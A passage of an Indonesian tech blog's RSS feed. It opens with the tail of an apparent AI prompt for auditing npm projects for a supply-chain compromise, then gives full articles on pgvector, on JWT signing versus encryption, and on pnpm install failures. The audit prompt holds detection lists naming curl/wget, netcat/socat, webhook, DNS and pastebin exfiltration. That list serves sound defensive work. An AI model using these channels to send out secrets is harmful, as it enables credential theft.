- webhook exfiltration
- DNS exfiltration
- IP asing
- hidden fetch request

Deteksi:
- axios/fetch/http.request
- curl/wget
- netcat/socat
- Telegram/Discord webhook
- pastebin/upload service

---

## 5. GitHub Actions Audit

Periksa:
- .github/workflows
- pull_request_target
- workflow_call
- cache poisoning risk
- secret exposure
- OIDC misuse
- suspicious workflow modification

Cari:
- dynamic script execution
- untrusted artifact
- remote execution
- token leakage

---

## 6. IOC Scanning

Cari IOC terkait Mini Shai-Hulud:
- router_init.js
- suspicious lifecycle hook
- process memory access
- suspicious npm publish workflow

Tetapi:
JANGAN hanya bergantung pada IOC statis.
Utamakan behavioral analysis.

---

# RECOVERY PLAN

Jika compromise ditemukan:

## WAJIB:
- anggap credential sudah bocor
- daftar credential yang harus di-rotate
- jelaskan tingkat urgensi
- jelaskan blast radius

---

# OUTPUT FORMAT

Gunakan format berikut:

# EXECUTIVE SUMMARY

- Status: CLEAN / SUSPICIOUS / COMPROMISED
- Severity:
- Risiko utama:
- Package terdampak:
- Kemungkinan credential theft:
- Kemungkinan CI/CD compromise:

---

# FINDINGS

## Finding 1
Severity:
File:
Deskripsi:
Technical Analysis:
Impact:
Recommendation:

---

# IOC FOUND

- IOC:
- Lokasi:
- Severity:
- Confidence:

---

# MALICIOUS CODE ANALYSIS

Jelaskan:
- cara kerja malware
- data yang dicuri
- persistence
- exfiltration method
- propagation

---

# RECOVERY ACTION

Prioritas:
1.
2.
3.

Sertakan:
- credential rotation list
- cleanup step
- rebuild recommendation
- CI/CD hardening

---

# HARDENING RECOMMENDATION

Berikan:
- npm security best practice
- GitHub Actions hardening
- least privilege
- isolated runner
- dependency pinning
- lockfile strategy
- secret management
- supply-chain defense

---

# RULES

- Jangan memberikan jawaban generik
- Jangan hanya menjelaskan teori
- Fokus pada investigasi nyata
- Prioritaskan bukti teknis
- Bedakan:
  - confirmed malicious
  - suspicious
  - low confidence
- Jangan panic-based response
- Jelaskan confidence level setiap temuan
- Jika tidak ada bukti compromise, katakan dengan jelas

---

# REFERENSI VALID

Gunakan pendekatan yang sesuai dengan:
- GitHub Security Advisory
- Snyk analysis
- Socket.dev analysis
- Semgrep supply-chain analysis
- StepSecurity research

---

# TUJUAN AKHIR

Menentukan:
- apakah project compromise
- bagaimana malware bekerja
- apakah credential mungkin bocor
- bagaimana recovery aman dilakukan
- bagaimana mencegah kejadian serupa
</code></pre>
]]></content:encoded></item><item><title><![CDATA[pgvector pada PostgreSQL: Ketika Database Relasional Mulai Memahami Makna]]></title><description><![CDATA[Dunia AI modern sedang mengalami pergeseran besar. Dulu, database hanya menyimpan data terstruktur:

angka

string

relasi

transaksi


Tetapi sekarang aplikasi mulai membutuhkan kemampuan memahami ma]]></description><link>https://tech.finlup.id/pgvector-pada-postgresql-ketika-database-relasional-mulai-memahami-makna</link><guid isPermaLink="true">https://tech.finlup.id/pgvector-pada-postgresql-ketika-database-relasional-mulai-memahami-makna</guid><category><![CDATA[pgvector]]></category><category><![CDATA[PostgreSQL]]></category><category><![CDATA[postgres]]></category><category><![CDATA[Postgresql-performance ]]></category><category><![CDATA[postgresql-indexes]]></category><dc:creator><![CDATA[Ariska Hidayat]]></dc:creator><pubDate>Wed, 27 May 2026 23:24:30 GMT</pubDate><enclosure url="https://cdn.hashnode.com/uploads/covers/65e7d8885ce9106b60a0c9e9/a77866a4-88b5-4a40-b2f2-6464237e6b2b.png" length="0" type="image/jpeg"/><content:encoded><![CDATA[<p>Dunia AI modern sedang mengalami pergeseran besar. Dulu, database hanya menyimpan data terstruktur:</p>
<ul>
<li><p>angka</p>
</li>
<li><p>string</p>
</li>
<li><p>relasi</p>
</li>
<li><p>transaksi</p>
</li>
</ul>
<p>Tetapi sekarang aplikasi mulai membutuhkan kemampuan memahami <em>makna</em>.</p>
<p>Misalnya:</p>
<ul>
<li><p>mencari artikel yang “mirip secara konteks”</p>
</li>
<li><p>chatbot yang bisa menjawab berdasarkan dokumen internal</p>
</li>
<li><p>semantic search</p>
</li>
<li><p>AI recommendation</p>
</li>
<li><p>retrieval untuk LLM</p>
</li>
</ul>
<p>Di sinilah <code>pgvector</code> menjadi menarik.</p>
<p><code>pgvector</code> adalah extension untuk PostgreSQL yang memungkinkan PostgreSQL menyimpan dan melakukan pencarian vector embedding secara native.</p>
<p>Repository resmi:</p>
<p><a href="https://github.com/pgvector/pgvector?utm_source=chatgpt.com">pgvector GitHub Repository</a></p>
<hr />
<h1>Mengapa <code>pgvector</code> Menjadi Populer?</h1>
<p>Selama beberapa tahun terakhir, ekosistem AI dipenuhi banyak vector database:</p>
<ul>
<li><p>Pinecone</p>
</li>
<li><p>Qdrant</p>
</li>
<li><p>Weaviate</p>
</li>
<li><p>Milvus</p>
</li>
</ul>
<p>Namun banyak developer mulai mengalami masalah klasik:</p>
<pre><code class="language-text">App
 ├── PostgreSQL
 ├── Redis
 ├── Elasticsearch
 ├── Vector DB
 └── Message Queue
</code></pre>
<p>Semakin banyak service:</p>
<ul>
<li><p>deployment makin rumit</p>
</li>
<li><p>observability makin sulit</p>
</li>
<li><p>biaya meningkat</p>
</li>
<li><p>sinkronisasi data menjadi masalah baru</p>
</li>
</ul>
<p>Akhirnya muncul pendekatan yang lebih pragmatis:</p>
<pre><code class="language-text">Gunakan PostgreSQL untuk semuanya dulu.
</code></pre>
<p>Dan <code>pgvector</code> lahir di momen yang tepat.</p>
<hr />
<h1>Apa Sebenarnya Vector Embedding Itu?</h1>
<p>Embedding adalah representasi numerik dari suatu informasi.</p>
<p>Misalnya kalimat:</p>
<pre><code class="language-text">"PostgreSQL is powerful"
</code></pre>
<p>diubah oleh model AI menjadi:</p>
<pre><code class="language-text">[0.182, -0.441, 0.991, ...]
</code></pre>
<p>Vector tersebut menyimpan hubungan semantik.</p>
<p>Artinya:</p>
<ul>
<li><p>“database PostgreSQL”</p>
</li>
<li><p>“Postgres DB”</p>
</li>
<li><p>“PostgreSQL server”</p>
</li>
</ul>
<p>bisa dianggap mirip walaupun teksnya berbeda.</p>
<p>Inilah dasar semantic search modern.</p>
<hr />
<h1>PostgreSQL Sekarang Bisa Semantic Search</h1>
<p>Dengan <code>pgvector</code>, kita bisa membuat tabel seperti ini:</p>
<pre><code class="language-sql">CREATE EXTENSION vector;

CREATE TABLE documents (
  id bigserial PRIMARY KEY,
  content text,
  embedding vector(1536)
);
</code></pre>
<p>Kemudian melakukan similarity search:</p>
<pre><code class="language-sql">SELECT *
FROM documents
ORDER BY embedding &lt;=&gt; '[...]'
LIMIT 5;
</code></pre>
<p>Operator:</p>
<table>
<thead>
<tr>
<th>Operator</th>
<th>Fungsi</th>
</tr>
</thead>
<tbody><tr>
<td><code>&lt;-&gt;</code></td>
<td>Euclidean distance</td>
</tr>
<tr>
<td><code>&lt;=&gt;</code></td>
<td>Cosine distance</td>
</tr>
<tr>
<td><code>&lt;#&gt;</code></td>
<td>Inner product</td>
</tr>
</tbody></table>
<hr />
<h1>Kenapa Ini Sangat Menarik untuk Developer?</h1>
<h2>1. Tidak Perlu Menambah Infrastruktur Baru</h2>
<p>Banyak proyek AI sebenarnya tidak membutuhkan:</p>
<ul>
<li><p>cluster vector database</p>
</li>
<li><p>distributed ANN engine</p>
</li>
<li><p>kompleksitas hyperscale</p>
</li>
</ul>
<p>Sebagian besar hanya membutuhkan:</p>
<ul>
<li><p>semantic search</p>
</li>
<li><p>retrieval</p>
</li>
<li><p>chatbot context</p>
</li>
<li><p>document similarity</p>
</li>
</ul>
<p>Dan semua itu bisa dilakukan langsung di PostgreSQL.</p>
<hr />
<h2>2. SQL Tetap Menjadi Senjata Utama</h2>
<p>Inilah kekuatan terbesar <code>pgvector</code>.</p>
<p>Developer bisa menggabungkan:</p>
<ul>
<li><p>relational query</p>
</li>
<li><p>filtering</p>
</li>
<li><p>indexing</p>
</li>
<li><p>vector similarity</p>
</li>
</ul>
<p>dalam satu query.</p>
<p>Contoh:</p>
<pre><code class="language-sql">SELECT *
FROM articles
WHERE
  published = true
  AND category = 'backend'
ORDER BY embedding &lt;=&gt; '[...]'
LIMIT 10;
</code></pre>
<p>Ini jauh lebih natural dibanding memecah query antara relational DB dan vector DB.</p>
<hr />
<h1><code>pgvector</code> Sangat Cocok untuk RAG</h1>
<p>RAG (<em>Retrieval-Augmented Generation</em>) menjadi pola arsitektur paling populer di era LLM.</p>
<p>Alurnya:</p>
<pre><code class="language-text">User Question
      ↓
Embedding
      ↓
Vector Search
      ↓
Relevant Chunks
      ↓
Prompt LLM
      ↓
AI Response
</code></pre>
<p>Dengan <code>pgvector</code>, seluruh retrieval layer bisa tinggal di PostgreSQL.</p>
<p>Ini membuat arsitektur menjadi lebih sederhana:</p>
<pre><code class="language-text">App
 └── PostgreSQL + pgvector
</code></pre>
<hr />
<h1>Kelebihan Besar yang Sering Diremehkan</h1>
<h2>Transactional Consistency</h2>
<p>Karena masih PostgreSQL, developer tetap mendapat:</p>
<ul>
<li><p>ACID transaction</p>
</li>
<li><p>replication</p>
</li>
<li><p>backup</p>
</li>
<li><p>WAL</p>
</li>
<li><p>role &amp; permission</p>
</li>
<li><p>migration ecosystem</p>
</li>
<li><p>tooling matang</p>
</li>
</ul>
<p>Ini penting untuk production system.</p>
<p>Banyak vector database belum memiliki ekosistem sekuat PostgreSQL.</p>
<hr />
<h1>Tetapi <code>pgvector</code> Bukan Solusi untuk Semua Hal</h1>
<p>Ini bagian yang penting.</p>
<p>Banyak hype membuat developer berpikir:</p>
<pre><code class="language-text">pgvector = pengganti semua vector database
</code></pre>
<p>Padahal tidak.</p>
<hr />
<h1>Masalah Utama <code>pgvector</code></h1>
<h2>1. PostgreSQL Bukan Dibuat untuk Vector Native Workload</h2>
<p>PostgreSQL adalah relational database.</p>
<p>Vector search hanyalah extension.</p>
<p>Artinya:</p>
<ul>
<li><p>memory management bukan fokus vector workload</p>
</li>
<li><p>distributed ANN bukan desain utama</p>
</li>
<li><p>scaling horizontal terbatas</p>
</li>
</ul>
<hr />
<h2>2. Embedding Sangat Boros Resource</h2>
<p>Satu embedding bisa memiliki:</p>
<ul>
<li><p>768 dimensi</p>
</li>
<li><p>1536 dimensi</p>
</li>
<li><p>3072 dimensi</p>
</li>
</ul>
<p>Jika ada jutaan row:</p>
<pre><code class="language-text">1 juta × 1536 float
</code></pre>
<p>ukuran storage dan RAM menjadi sangat besar.</p>
<hr />
<h1>Indexing: IVFFlat vs HNSW</h1>
<p><code>pgvector</code> mendukung beberapa pendekatan ANN (<em>Approximate Nearest Neighbor</em>).</p>
<hr />
<h2>IVFFlat</h2>
<p>Contoh:</p>
<pre><code class="language-sql">CREATE INDEX ON documents
USING ivfflat (embedding vector_cosine_ops)
WITH (lists = 100);
</code></pre>
<p>Kelebihan:</p>
<ul>
<li><p>build cepat</p>
</li>
<li><p>memory lebih hemat</p>
</li>
</ul>
<p>Kekurangan:</p>
<ul>
<li>recall lebih rendah</li>
</ul>
<hr />
<h2>HNSW</h2>
<p>Contoh:</p>
<pre><code class="language-sql">CREATE INDEX ON documents
USING hnsw (embedding vector_cosine_ops);
</code></pre>
<p>Kelebihan:</p>
<ul>
<li><p>hasil lebih akurat</p>
</li>
<li><p>query cepat</p>
</li>
</ul>
<p>Kekurangan:</p>
<ul>
<li><p>build berat</p>
</li>
<li><p>memory usage besar</p>
</li>
</ul>
<hr />
<h1>Kapan <code>pgvector</code> Menjadi Pilihan Terbaik?</h1>
<h2>Cocok Untuk</h2>
<h3>AI SaaS kecil-menengah</h3>
<ul>
<li><p>chatbot internal</p>
</li>
<li><p>semantic FAQ</p>
</li>
<li><p>AI assistant</p>
</li>
<li><p>company knowledge base</p>
</li>
</ul>
<hr />
<h3>Existing PostgreSQL Stack</h3>
<p>Jika aplikasi sudah memakai PostgreSQL:</p>
<p>menambahkan <code>pgvector</code> jauh lebih murah dibanding membangun stack baru.</p>
<hr />
<h3>Startup yang Butuh Delivery Cepat</h3>
<p>Developer bisa fokus ke:</p>
<ul>
<li><p>produk</p>
</li>
<li><p>UX</p>
</li>
<li><p>prompt engineering</p>
</li>
<li><p>retrieval quality</p>
</li>
</ul>
<p>bukan mengelola 5 service tambahan.</p>
<hr />
<h1>Kapan Sebaiknya Tidak Menggunakan <code>pgvector</code>?</h1>
<h2>Dataset Sangat Besar</h2>
<p>Misalnya:</p>
<ul>
<li><p>ratusan juta embedding</p>
</li>
<li><p>low latency global search</p>
</li>
<li><p>multi-region vector cluster</p>
</li>
</ul>
<p>Dedicated vector database lebih cocok.</p>
<hr />
<h2>Pure AI Search Platform</h2>
<p>Jika seluruh sistem memang dibangun untuk vector retrieval skala besar:</p>
<p>gunakan tool yang memang dibuat khusus untuk itu.</p>
<hr />
<h1>Integrasi Ekosistem Modern</h1>
<p><code>pgvector</code> sekarang sudah menjadi citizen utama di ekosistem AI modern.</p>
<p>Framework yang mendukung:</p>
<ul>
<li><p><a href="https://www.langchain.com/?utm_source=chatgpt.com">LangChain</a></p>
</li>
<li><p><a href="https://www.llamaindex.ai/?utm_source=chatgpt.com">LlamaIndex</a></p>
</li>
</ul>
<p>ORM dan ecosystem:</p>
<ul>
<li><p>Prisma</p>
</li>
<li><p>Drizzle</p>
</li>
<li><p>SQLAlchemy</p>
</li>
<li><p>Django</p>
</li>
<li><p>Laravel</p>
</li>
</ul>
<p>Cloud provider:</p>
<ul>
<li><p>Supabase</p>
</li>
<li><p>Neon</p>
</li>
<li><p>Railway</p>
</li>
<li><p>RDS PostgreSQL</p>
</li>
</ul>
<hr />
<h1>Insight Penting untuk Developer</h1>
<p>Banyak developer terlalu cepat mengadopsi arsitektur kompleks karena mengikuti hype AI.</p>
<p>Padahal mayoritas aplikasi AI modern sebenarnya hanya membutuhkan:</p>
<ul>
<li><p>retrieval sederhana</p>
</li>
<li><p>semantic similarity</p>
</li>
<li><p>contextual memory</p>
</li>
<li><p>hybrid filtering</p>
</li>
</ul>
<p>Dan untuk itu:</p>
<pre><code class="language-text">PostgreSQL + pgvector
</code></pre>
<p>sering kali sudah lebih dari cukup.</p>
<hr />
<h1>Masa Depan <code>pgvector</code></h1>
<p>Kemungkinan besar <code>pgvector</code> akan tetap tumbuh karena:</p>
<ul>
<li><p>PostgreSQL sangat matang</p>
</li>
<li><p>komunitas besar</p>
</li>
<li><p>AI adoption meningkat</p>
</li>
<li><p>developer ingin stack lebih sederhana</p>
</li>
</ul>
<p>Ada tren kuat menuju:</p>
<pre><code class="language-text">Consolidated AI Infrastructure
</code></pre>
<p>di mana relational database mulai mengambil sebagian kemampuan AI retrieval.</p>
<hr />
<h1>Penutup</h1>
<p><code>pgvector</code> bukan sekadar extension PostgreSQL.</p>
<p>Ia adalah tanda bahwa dunia database mulai berubah:</p>
<p>dari hanya menyimpan data…</p>
<p>menjadi mulai memahami hubungan makna di dalam data tersebut.</p>
<p>Bagi developer modern, ini membuka peluang besar:</p>
<ul>
<li><p>membangun semantic search</p>
</li>
<li><p>membuat AI assistant internal</p>
</li>
<li><p>membangun RAG system</p>
</li>
<li><p>membuat recommendation engine</p>
</li>
</ul>
<p>tanpa harus langsung masuk ke kompleksitas distributed AI infrastructure.</p>
<p>Dan mungkin itulah alasan utama mengapa banyak engineer mulai kembali berkata:</p>
<pre><code class="language-text">PostgreSQL first.
</code></pre>
]]></content:encoded></item><item><title><![CDATA[JWT Bukan Enkripsi: Kesalahpahaman yang Masih Sering Terjadi di Dunia Developer]]></title><description><![CDATA[Banyak developer pertama kali melihat JWT lalu berpikir:

“Wah aman, datanya sudah terenkripsi.”

Padahal kenyataannya:

JWT umumnya tidak dienkripsi. JWT biasanya hanya encoded dan signed.

Ini kesal]]></description><link>https://tech.finlup.id/jwt-bukan-enkripsi-kesalahpahaman-yang-masih-sering-terjadi-di-dunia-developer</link><guid isPermaLink="true">https://tech.finlup.id/jwt-bukan-enkripsi-kesalahpahaman-yang-masih-sering-terjadi-di-dunia-developer</guid><category><![CDATA[JWT]]></category><category><![CDATA[#JWTAuthentication]]></category><category><![CDATA[ #JWTtokens ]]></category><category><![CDATA[JWT authentication]]></category><dc:creator><![CDATA[Ariska Hidayat]]></dc:creator><pubDate>Wed, 27 May 2026 12:25:57 GMT</pubDate><enclosure url="https://cdn.hashnode.com/uploads/covers/65e7d8885ce9106b60a0c9e9/f690c68a-8fac-4172-b833-68141983eff5.png" length="0" type="image/jpeg"/><content:encoded><![CDATA[<p>Banyak developer pertama kali melihat JWT lalu berpikir:</p>
<blockquote>
<p>“Wah aman, datanya sudah terenkripsi.”</p>
</blockquote>
<p>Padahal kenyataannya:</p>
<blockquote>
<p>JWT umumnya <strong>tidak dienkripsi</strong>. JWT biasanya hanya <strong>encoded</strong> dan <strong>signed</strong>.</p>
</blockquote>
<p>Ini kesalahpahaman yang sangat umum, bahkan di kalangan developer berpengalaman. Akibatnya, banyak sistem tanpa sadar menyimpan data sensitif di dalam token karena mengira payload tidak bisa dibaca.</p>
<p>Padahal:</p>
<ul>
<li><p>siapa pun bisa membuka isi JWT</p>
</li>
<li><p>tanpa password</p>
</li>
<li><p>tanpa secret key</p>
</li>
<li><p>tanpa akses server</p>
</li>
</ul>
<p>Artikel ini membahas:</p>
<ul>
<li><p>mengapa JWT tetap aman walau bisa dibaca,</p>
</li>
<li><p>bagaimana signature bekerja,</p>
</li>
<li><p>kenapa JWT bukan tempat menyimpan data rahasia,</p>
</li>
<li><p>dan bagaimana memahami JWT dengan cara yang benar.</p>
</li>
</ul>
<hr />
<h1>Apa Itu JWT?</h1>
<p>JWT atau JSON Web Token adalah format token berbasis JSON yang biasa digunakan untuk:</p>
<ul>
<li><p>autentikasi,</p>
</li>
<li><p>otorisasi,</p>
</li>
<li><p>session modern,</p>
</li>
<li><p>OAuth,</p>
</li>
<li><p>microservice authentication.</p>
</li>
</ul>
<p>Bentuk JWT biasanya seperti ini:</p>
<pre><code class="language-text">xxxxx.yyyyy.zzzzz
</code></pre>
<p>Terdiri dari 3 bagian:</p>
<pre><code class="language-text">header.payload.signature
</code></pre>
<p>Contoh nyata:</p>
<pre><code class="language-text">eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9
.
eyJ1c2VySWQiOjEsInJvbGUiOiJhZG1pbiJ9
.
sdfkjh23498sdf9234...
</code></pre>
<hr />
<h1>Bagian JWT</h1>
<h2>1. Header</h2>
<p>Berisi metadata:</p>
<pre><code class="language-json">{
  "alg": "HS256",
  "typ": "JWT"
}
</code></pre>
<p>Artinya:</p>
<ul>
<li><p>algoritma signing: HS256</p>
</li>
<li><p>tipe token: JWT</p>
</li>
</ul>
<hr />
<h2>2. Payload</h2>
<p>Berisi data:</p>
<pre><code class="language-json">{
  "userId": 1,
  "role": "admin",
  "exp": 1779898977
}
</code></pre>
<p>Inilah bagian yang sering disalahpahami.</p>
<p>Payload JWT:</p>
<ul>
<li><p><strong>bisa dibaca siapa saja</strong></p>
</li>
<li><p>bukan terenkripsi</p>
</li>
<li><p>hanya Base64 encoded</p>
</li>
</ul>
<hr />
<h2>3. Signature</h2>
<p>Inilah inti keamanan JWT.</p>
<p>Signature dibuat menggunakan:</p>
<ul>
<li><p>header,</p>
</li>
<li><p>payload,</p>
</li>
<li><p>secret key server.</p>
</li>
</ul>
<p>Contoh sederhana:</p>
<pre><code class="language-text">HMACSHA256(
  header.payload,
  SECRET_KEY
)
</code></pre>
<p>Hasilnya menjadi signature.</p>
<hr />
<h1>Encoding ≠ Encryption</h1>
<p>Kesalahan paling umum adalah menganggap Base64 sebagai enkripsi.</p>
<p>Padahal Base64 hanya encoding.</p>
<h2>Analogi</h2>
<p>Encoding seperti:</p>
<ul>
<li>menerjemahkan tulisan ke format lain.</li>
</ul>
<p>Encryption seperti:</p>
<ul>
<li>mengunci tulisan dengan kunci rahasia.</li>
</ul>
<hr />
<h1>JWT Bisa Dibuka Semua Orang</h1>
<p>Misalnya token:</p>
<pre><code class="language-text">eyJ1c2VySWQiOjEsInJvbGUiOiJhZG1pbiJ9
</code></pre>
<p>Developer bisa membukanya hanya dengan:</p>
<pre><code class="language-js">atob(tokenPart)
</code></pre>
<p>atau website decoder online.</p>
<p>Tidak perlu:</p>
<ul>
<li><p>password,</p>
</li>
<li><p>secret key,</p>
</li>
<li><p>akses backend.</p>
</li>
</ul>
<hr />
<h1>Lalu Kenapa JWT Tetap Aman?</h1>
<p>Karena keamanan JWT bukan pada “kerahasiaan payload”.</p>
<p>Tetapi pada:</p>
<h1>Signature</h1>
<p>JWT aman karena client tidak bisa memalsukan signature.</p>
<hr />
<h1>Cara Signature Bekerja</h1>
<p>Misalnya server membuat payload:</p>
<pre><code class="language-json">{
  "role": "user"
}
</code></pre>
<p>Lalu server membuat signature menggunakan secret key rahasia.</p>
<hr />
<h1>Hacker Mengubah Payload</h1>
<p>Misal hacker mencoba:</p>
<pre><code class="language-json">{
  "role": "admin"
}
</code></pre>
<p>Masalahnya:</p>
<ul>
<li>signature lama tidak cocok lagi.</li>
</ul>
<p>Backend akan melakukan verifikasi:</p>
<pre><code class="language-text">signature_valid ?
</code></pre>
<p>Jika tidak cocok:</p>
<pre><code class="language-text">401 Unauthorized
</code></pre>
<hr />
<h1>Analogi yang Lebih Tepat</h1>
<p>JWT lebih mirip:</p>
<pre><code class="language-text">surat resmi bertanda tangan
</code></pre>
<p>daripada:</p>
<pre><code class="language-text">brankas terkunci
</code></pre>
<p>Semua orang bisa membaca isi surat.</p>
<p>Tetapi:</p>
<ul>
<li>tidak semua orang bisa membuat tanda tangan resmi.</li>
</ul>
<hr />
<h1>Kesalahan Fatal yang Masih Sering Dilakukan</h1>
<p>Karena mengira JWT terenkripsi, beberapa developer menyimpan:</p>
<ul>
<li><p>password,</p>
</li>
<li><p>API key,</p>
</li>
<li><p>nomor kartu,</p>
</li>
<li><p>data sensitif,</p>
</li>
<li><p>informasi internal.</p>
</li>
</ul>
<p>Contoh buruk:</p>
<pre><code class="language-json">{
  "password": "123456"
}
</code></pre>
<p>atau:</p>
<pre><code class="language-json">{
  "creditCard": "..."
}
</code></pre>
<p>Ini berbahaya.</p>
<p>Karena siapa pun yang memegang token bisa membacanya.</p>
<hr />
<h1>Data Apa yang Aman Disimpan di JWT?</h1>
<p>Biasanya hanya:</p>
<ul>
<li><p>user id,</p>
</li>
<li><p>role,</p>
</li>
<li><p>session id,</p>
</li>
<li><p>issuer,</p>
</li>
<li><p>audience,</p>
</li>
<li><p>expiry.</p>
</li>
</ul>
<p>Contoh aman:</p>
<pre><code class="language-json">{
  "sub": "123",
  "role": "admin",
  "exp": 1779898977
}
</code></pre>
<hr />
<h1>JWT dan Stateless Authentication</h1>
<p>Alasan JWT populer:</p>
<ul>
<li><p>backend tidak perlu session store,</p>
</li>
<li><p>cocok untuk microservice,</p>
</li>
<li><p>scalable,</p>
</li>
<li><p>mudah diverifikasi.</p>
</li>
</ul>
<p>Server cukup:</p>
<pre><code class="language-text">verify signature
</code></pre>
<p>tanpa query database.</p>
<hr />
<h1>Tapi JWT Murni Juga Punya Masalah</h1>
<p>Karena stateless:</p>
<ul>
<li><p>sulit revoke token,</p>
</li>
<li><p>logout tidak langsung invalid,</p>
</li>
<li><p>token tetap valid sampai expired.</p>
</li>
</ul>
<p>Makanya banyak sistem modern memakai hybrid approach:</p>
<pre><code class="language-text">JWT + session lookup
</code></pre>
<p>misalnya payload hanya:</p>
<pre><code class="language-json">{
  "ref": "session_id"
}
</code></pre>
<p>Lalu backend cek Redis/database.</p>
<p>Ini mulai populer di:</p>
<ul>
<li><p>enterprise apps,</p>
</li>
<li><p>banking systems,</p>
</li>
<li><p>internal ERP,</p>
</li>
<li><p>modern SaaS.</p>
</li>
</ul>
<hr />
<h1>Kenapa Banyak Sistem Sekarang Tidak Menyimpan Banyak Data di JWT?</h1>
<p>Karena:</p>
<ul>
<li><p>payload terlihat user,</p>
</li>
<li><p>ukuran token bisa besar,</p>
</li>
<li><p>data mudah stale,</p>
</li>
<li><p>sulit revoke.</p>
</li>
</ul>
<p>Sekarang tren modern:</p>
<ul>
<li><p>payload minimal,</p>
</li>
<li><p>session server-side,</p>
</li>
<li><p>access token pendek,</p>
</li>
<li><p>refresh token rotation.</p>
</li>
</ul>
<hr />
<h1>JWT Bukan Solusi Semua Hal</h1>
<p>JWT sering dipakai berlebihan.</p>
<p>Padahal pada beberapa kasus:</p>
<ul>
<li><p>session tradisional lebih aman,</p>
</li>
<li><p>cookie auth lebih sederhana,</p>
</li>
<li><p>stateful auth lebih mudah revoke.</p>
</li>
</ul>
<p>Tidak semua aplikasi harus JWT.</p>
<hr />
<h1>Jika Ingin Token Benar-Benar Terenkripsi</h1>
<p>Ada standar bernama:</p>
<p>JSON Web Encryption</p>
<p>Tetapi lebih kompleks:</p>
<ul>
<li><p>lebih berat,</p>
</li>
<li><p>implementasi lebih sulit,</p>
</li>
<li><p>jarang dibutuhkan.</p>
</li>
</ul>
<p>Mayoritas sistem modern cukup memakai:</p>
<ul>
<li><p>signed JWT,</p>
</li>
<li><p>bukan encrypted JWT.</p>
</li>
</ul>
<hr />
<h1>Memahami JWT dengan Benar</h1>
<p>JWT bukan:</p>
<ul>
<li><p>tempat menyimpan rahasia,</p>
</li>
<li><p>enkripsi data,</p>
</li>
<li><p>anti-baca.</p>
</li>
</ul>
<p>JWT adalah:</p>
<ul>
<li><p>format token terstandar,</p>
</li>
<li><p>membawa claim,</p>
</li>
<li><p>diverifikasi dengan signature.</p>
</li>
</ul>
<p>Keamanan JWT terletak pada:</p>
<ul>
<li><p>secret key server,</p>
</li>
<li><p>validasi signature,</p>
</li>
<li><p>expiry,</p>
</li>
<li><p>refresh flow,</p>
</li>
<li><p>transport security (HTTPS).</p>
</li>
</ul>
<p>Bukan pada “payload tidak bisa dibaca”.</p>
<hr />
<h1>Penutup</h1>
<p>Banyak developer terlalu fokus pada:</p>
<pre><code class="language-text">payload terlihat atau tidak
</code></pre>
<p>padahal inti keamanan JWT adalah:</p>
<pre><code class="language-text">apakah payload bisa dipalsukan?
</code></pre>
<p>Itulah fungsi signature.</p>
<p>Jika memahami ini dengan benar, developer akan:</p>
<ul>
<li><p>lebih bijak menyimpan data,</p>
</li>
<li><p>memahami batas JWT,</p>
</li>
<li><p>menghindari kebocoran sensitif,</p>
</li>
<li><p>dan membangun sistem auth yang jauh lebih matang.</p>
</li>
</ul>
<p>JWT bukan “data rahasia terenkripsi”.</p>
<p>JWT adalah:</p>
<blockquote>
<p>data yang bisa dibaca, tetapi tidak bisa dimanipulasi tanpa secret key.</p>
</blockquote>
]]></content:encoded></item><item><title><![CDATA[Mengatasi pnpm install yang Gagal Berulang Karena Jaringan Tidak Stabil]]></title><description><![CDATA[Saat development modern menggunakan React, Next.js, Express, NestJS, atau monorepo besar, proses:
pnpm install

bisa menjadi sangat menyebalkan ketika jaringan internet tidak stabil.
Gejala yang umum ]]></description><link>https://tech.finlup.id/mengatasi-pnpm-install-yang-gagal-berulang-karena-jaringan-tidak-stabil</link><guid isPermaLink="true">https://tech.finlup.id/mengatasi-pnpm-install-yang-gagal-berulang-karena-jaringan-tidak-stabil</guid><category><![CDATA[pnpm]]></category><category><![CDATA[npm]]></category><category><![CDATA[Bun]]></category><dc:creator><![CDATA[Ariska Hidayat]]></dc:creator><pubDate>Fri, 15 May 2026 06:55:08 GMT</pubDate><enclosure url="https://cdn.hashnode.com/uploads/covers/65e7d8885ce9106b60a0c9e9/ed2d4086-5830-4288-930c-e7c2c57fd93c.png" length="0" type="image/jpeg"/><content:encoded><![CDATA[<p>Saat development modern menggunakan React, Next.js, Express, NestJS, atau monorepo besar, proses:</p>
<pre><code class="language-bash">pnpm install
</code></pre>
<p>bisa menjadi sangat menyebalkan ketika jaringan internet tidak stabil.</p>
<p>Gejala yang umum terjadi:</p>
<ul>
<li><p>install berhenti di tengah jalan</p>
</li>
<li><p>package download mengulang terus</p>
</li>
<li><p>timeout</p>
</li>
<li><p><code>ECONNRESET</code></p>
</li>
<li><p><code>ERR_SOCKET_TIMEOUT</code></p>
</li>
<li><p>stuck pada resolving/fetching</p>
</li>
<li><p>download package besar sangat lama</p>
</li>
<li><p>install berjalan lalu rollback lagi</p>
</li>
</ul>
<p>Masalah ini cukup sering terjadi di:</p>
<ul>
<li><p>WiFi ISP yang routing internasionalnya buruk</p>
</li>
<li><p>hotspot mobile</p>
</li>
<li><p>jaringan dengan packet loss tinggi</p>
</li>
<li><p>koneksi yang sering reconnect</p>
</li>
<li><p>VPS dengan limit koneksi</p>
</li>
</ul>
<hr />
<h1>Kenapa <code>pnpm</code> Terlihat Lebih Sensitif?</h1>
<p>Sebenarnya bukan karena <code>pnpm</code> jelek.</p>
<p>Justru <code>pnpm</code>:</p>
<ul>
<li><p>lebih cepat</p>
</li>
<li><p>lebih hemat storage</p>
</li>
<li><p>lebih efisien dibanding npm</p>
</li>
</ul>
<p>Tetapi:</p>
<ul>
<li><p><code>pnpm</code> sangat agresif dalam parallel download</p>
</li>
<li><p>menggunakan symlink store</p>
</li>
<li><p>melakukan banyak request metadata</p>
</li>
</ul>
<p>Pada jaringan buruk, hal ini membuat:</p>
<ul>
<li><p>koneksi mudah timeout</p>
</li>
<li><p>retry terjadi terus menerus</p>
</li>
<li><p>install terlihat “looping”</p>
</li>
</ul>
<hr />
<h1>Kesalahan yang Sering Dilakukan</h1>
<p>Banyak developer mencoba:</p>
<pre><code class="language-bash">pnpm install --child-concurrency=1
</code></pre>
<p>Tetapi download tetap banyak.</p>
<p>Karena:</p>
<table>
<thead>
<tr>
<th>Parameter</th>
<th>Fungsi</th>
</tr>
</thead>
<tbody><tr>
<td><code>child-concurrency</code></td>
<td>membatasi proses build/postinstall</td>
</tr>
<tr>
<td><code>network-concurrency</code></td>
<td>membatasi download package</td>
</tr>
</tbody></table>
<p>Jadi:</p>
<ul>
